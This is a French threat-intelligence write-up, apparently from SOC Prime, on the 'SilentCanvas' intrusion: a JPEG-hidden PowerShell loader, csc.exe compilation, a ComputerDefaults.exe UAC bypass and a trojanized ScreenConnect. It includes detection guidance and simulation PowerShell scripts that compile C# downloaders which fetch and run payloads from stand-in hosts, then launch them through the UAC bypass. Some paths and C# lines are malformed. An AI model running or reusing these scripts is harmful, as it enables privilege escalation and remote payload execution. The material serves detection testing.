SOC Prime Bias: Critique

12 May 2026 15:13 UTC

OPÉRATION SILENTCANVAS : INTRUSION MULTIPHASE POWERSHELL À BASE DE JPEG

Author Photo
SOC Prime Team linkedin icon Suivre
OPÉRATION SILENTCANVAS : INTRUSION MULTIPHASE POWERSHELL À BASE DE JPEG
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

L’opération SilentCanvas est une intrusion sophistiquée à plusieurs étapes qui cache une charge utile PowerShell malveillante dans un fichier JPEG nommé sysupdate.jpeg. Cette charge utile récupère et compile un lanceur personnalisé, qui est construit via csc.exe, exploite ComputerDefaults.exe pour effectuer une élévation de privilèges sans fichier (UAC bypass) et installe un service ConnectWise ScreenConnect trojanisé nommé OneDriveServers pour maintenir un accès à distance persistant. Le malware communique via des canaux chiffrés dirigés vers legitserver.theworkpc.com sur les ports 5443 and 8041. La campagne met également fortement l’accent sur l’évasion de la défense, la collecte de crédentiels et la surveillance discrète.

Enquête

Le rapport couvre à la fois l’analyse statique et dynamique du chargeur basé sur JPEG, le binaire compilé dynamiquement uds.exe , et les composants ScreenConnect modifiés. Les chercheurs ont identifié plusieurs techniques offensives, y compris le contournement de l’AMSI, l’exploitation de binaires installés, le détournement de registre et la dérivation de clés personnalisées pour la communication chiffrée. L’analyse de l’infrastructure a révélé une correspondance codée en dur entre legitserver.theworkpc.com et l’adresse IP 45.138.16.64. L’enquête a également révélé un profilage détaillé des victimes, la manipulation des comptes locaux et des fonctionnalités liées à l’accès au bureau caché.

Mitigation

Les défenseurs doivent appliquer une liste stricte d’autorisations pour les outils de surveillance et de gestion à distance légitimes et restreindre ou surveiller de près l’exécution de csc.exe, cvtres.exe, et ComputerDefaults.exe. La surveillance doit également se concentrer sur les changements de registre ms-settings suspects, le comportement de contournement de l’AMSI de PowerShell, les indicateurs de création de processus cachés et la création non autorisée de services impliquant le nom OneDriveServers. Tous les comptes qui ont pu être exposés doivent être réinitialisés, et les systèmes affectés doivent être isolés rapidement pour prévenir de nouveaux abus.

Réponse

Si des indicateurs associés sont détectés, le terminal doit être mis en quarantaine immédiatement, le uds.exe processus malveillant et l’activité PowerShell associée doivent être terminés, et le OneDriveServers service supprimé de l’hôte. Les enquêteurs doivent collecter des artefacts de registre, des binaires de service et des télémétries réseau liés à l’infrastructure de commande et de contrôle pour un examen médico-légal plus approfondi. Toutes les crédentiels privilégiées doivent être renouvelées, et les défenseurs doivent contrôler les schémas de mouvement latéral associés aux techniques documentées dans la campagne.

«graph TB %% Définitions de classe classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff %% Nœuds – Actions action_initial_access[«ActionT1566 Phishing Attachment: L’e-mail livre un fichier malveillant sysupdate.jpeg déguisé en image.»] class action_initial_access action action_user_execution[«ActionT1204.002 Exécution par l’utilisateur et T1059.001 PowerShell: La victime double-clique sur le .jpeg qui lance le PowerShell intégré.»] class action_user_execution action action_execution[«ActionT1562.001 Désactivation des outils sécurité (contournement AMSI) et T1027 Obfuscation: Le script PowerShell évite la détection et cache la logique malveillante.»] class action_execution action action_dev_utility_abuse[«ActionT1127 Compilation après livraison et T1027.004 Fichiers obfusqués/stockés: Le script intègre le code source C# et compile avec csc.exe pour créer un lanceur personnalisé.»] class action_dev_utility_abuse action action_priv_esc[«ActionT1548.002 Détournement du flux d’exécution via le protocole ms-settings et T1218.002 Fichier HTML compilé utilisant ComputerDefaults.exe pour un contournement UAC sans fichier.»] class action_priv_esc action action_persistence[«ActionT1543.003 Service Windows nommé OneDriveServers et T1136.001 Compte local création de comptes administrateurs cachés pour un accès à long terme.»] class action_persistence action action_tool_hijack[«ActionT1553.002 Exécution de proxy binaire signé: Déploie un binaire ConnectWise ScreenConnect trojanisé exploitant des composants signés légitimes.»] class action_tool_hijack action action_credential_access[«ActionT1556.001 Accrochage de l’API de crédentiel et T1056.001 Capture d’entrée: Installe un crochet de fournisseur de crédentiels et un logger de frappe pour récolter des crédentiels utilisateur.»] class action_credential_access action action_collection[«ActionT1113 Capture d’écran, T1125 Capture vidéo, T1123 Capture audio, T1115 Données du presse-papiers: Recueille des informations visuelles, audio et du presse-papiers.»] class action_collection action action_discovery[«ActionT1518 Découverte de logiciel, T1010 Découverte de fenêtre d’application, T1082 Découverte d’informations système: Énumère les logiciels installés, les produits AV, les informations système et les fenêtres actives.»] class action_discovery action action_c2[«ActionT1573 Canal crypté: Configure un C2 chiffré utilisant des clés PBKDF2/HMAC-SHA256 et transfère des outils supplémentaires via T1105 Transfert d’outils d’entrée.»] class action_c2 action action_remote_execution[«ActionT1021 Services à distance: Exécute des commandes sur la victime via le cadre ScreenConnect.»] class action_remote_execution action action_impact[«ActionT1529 Arrêt/redémarrage du système: Peut déclencher un redémarrage du système ou un redémarrage en mode sans échec pour perturber l’environnement.»] class action_impact action %% Nœuds – Outils / Processus tool_sysupdate_jpeg[«OutilNom: sysupdate.jpeg
Type: Pièce jointe malveillante déguisée en image»] class tool_sysupdate_jpeg tool tool_powershell[«OutilNom: PowerShell
Type: Moteur de script utilisé pour l’exécution et l’obfuscation»] class tool_powershell tool tool_csc[«OutilNom: csc.exe
Type: Compilateur C# utilisé sur l’hôte»] class tool_csc tool process_computerdefaults[«ProcessusNom: ComputerDefaults.exe
Description: Utilisé comme proxy pour un contournement UAC sans fichier»] class process_computerdefaults process tool_screenconnect[«OutilNom: ConnectWise ScreenConnect
Type: Logiciel d’accès à distance détourné avec charge utile malveillante»] class tool_screenconnect tool malware_keylogger[«MalwareNom: Keylogger personnalisé
Objectif: Capturer les frappes et les crédentiels»] class malware_keylogger malware %% Connexions – Flux d’attaque action_initial_access –>|livre| tool_sysupdate_jpeg tool_sysupdate_jpeg –>|déclenche| action_user_execution action_user_execution –>|exécute| tool_powershell tool_powershell –>|réalise| action_execution action_execution –>|utilise| tool_csc tool_csc –>|créé| action_dev_utility_abuse action_dev_utility_abuse –>|produit un lanceur pour| action_priv_esc action_priv_esc –>|invoque| process_computerdefaults process_computerdefaults –>|active| action_persistence action_persistence –>|créé| action_tool_hijack action_tool_hijack –>|installe| tool_screenconnect tool_screenconnect –>|facilite| action_credential_access action_credential_access –>|installe| malware_keylogger malware_keylogger –>|active| action_collection action_collection –>|alimente en données| action_c2 action_c2 –>|soutient| action_remote_execution action_remote_execution –>|utilise| tool_screenconnect action_remote_execution –>|mène à| action_impact action_discovery –>|fournit des infos pour| action_c2 %% Style class tool_sysupdate_jpeg tool class tool_powershell tool class tool_csc tool class tool_screenconnect tool class process_computerdefaults process class malware_keylogger malware »

Flux d’attaque

Exécution de simulation

Prérequis : Le contrôle préalable des télécommunications et des baselines doit avoir réussi.

Justification : Cette section détaille l’exécution précise de la technique d’adversaire (TTP) conçue pour activer la règle de détection. Les commandes et le récit doivent refléter directement les TTP identifiés et viser à générer la télémétrie exacte attendue par la logique de détection. Des exemples abstraits ou sans rapport entraîneront une mauvaise interprétation.

  • Narration & commandes de l’attaque :

    1. Accès initial : L’attaquant obtient une session PowerShell à faible privilège sur le terminal.
    2. Compilation en temps réel : En utilisant le csc.exedéjà disponible, l’attaquant compile un téléchargeur C# qui récupère une charge utile de deuxième étape à partir d’un serveur C2. La compilation est lancée à partir du processus PowerShell pour respecter la condition parent-enfant.
    3. Élévation de privilèges sans fichier UAC : L’attaquant exécute l’exécutable nouvellement construit via ComputerDefaults.exe, qui demande silencieusement une élévation sans afficher de demande UAC.
    4. Exécution après élévation : La charge utile élevée établit une connexion sécurisée inversée avec l’adversaire.
    # Étape 1 – Préparer le code source C# malveillant (en mémoire)
    $csSource = @"
    using System;
    using System.Net;
    using System.Diagnostics;
    public class Downloader {
        public static void Main() {
            using (WebClient wc = new WebClient()) {
                string payloadUrl = "http://malicious.example.com/payload.exe";
                string tempPath = System.IO.Path.Combine($env:TEMP, "payload.exe");
                wc.DownloadFile(payloadUrl, tempPath);
                Process.Start(tempPath);
            }
        }
    }
    "@
    
    $srcPath = "$env:TEMPDownloader.cs"
    $exePath = "$env:TEMPDownloader.exe"
    $csSource | Out-File -FilePath $srcPath -Encoding ASCII
    
    # Étape 2 – Compiler via csc.exe (parent = PowerShell)
    & "$env:WINDIRMicrosoft.NETFramework64v4.0.30319csc.exe" /nologo /t:exe /out:$exePath $srcPath
    
    # Étape 3 – Déclencher le contournement UAC en utilisant ComputerDefaults.exe (encore enfant de PowerShell)
    $computerDefaults = "$env:SystemRootSystem32ComputerDefaults.exe"
    Start-Process -FilePath $computerDefaults -ArgumentList "`"$exePath`"" -WindowStyle Hidden
  • Script de test de régression : (script PowerShell autonome qui reproduit les étapes ci-dessus)

    # -----------------------------------------------------------------
    # Fichier : trigger_csc_uac_bypass.ps1
    # Objectif : Simuler la chaîne d'attaque csc.exe + ComputerDefaults.exe
    # -----------------------------------------------------------------
    
    # Créer le code source C# malveillant dans le répertoire TEMP
    $src = @"
    using System;
    using System.Net;
    using System.Diagnostics;
    public class Payload {
        public static void Main() {
            using (WebClient wc = new WebClient()) {
                string url = "http://example.com/evil.exe";
                string path = System.IO.Path.Combine($env:TEMP, "evil.exe");
                wc.DownloadFile(url, path);
                Process.Start(path);
            }
        }
    }
    "@
    
    $srcPath = Join-Path $env:TEMP "Payload.cs"
    $exePath = Join-Path $env:TEMP "Payload.exe"
    $src | Out-File -FilePath $srcPath -Encoding ASCII
    
    # Compiler avec csc.exe (ce processus PowerShell devient le parent)
    $csc = "$env:WINDIRMicrosoft.NETFramework64v4.0.30319csc.exe"
    & $csc /nologo /t:exe /out:$exePath $srcPath
    
    # Exécuter via ComputerDefaults.exe pour réaliser un contournement silencieux de l'UAC
    $computerDefaults = "$env:SystemRootSystem32ComputerDefaults.exe"
    Start-Process -FilePath $computerDefaults -ArgumentList "`"$exePath`"" -WindowStyle Hidden
  • Commandes de nettoyage :

    # Supprimer les artefacts générés
    Remove-Item -Path "$env:TEMPPayload.cs" -Force -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:TEMPPayload.exe" -Force -ErrorAction SilentlyContinue
    # Terminer éventuellement les processus persistants démarrés par le test
    Get-Process -Name "evil" -ErrorAction SilentlyContinue | Stop-Process -Force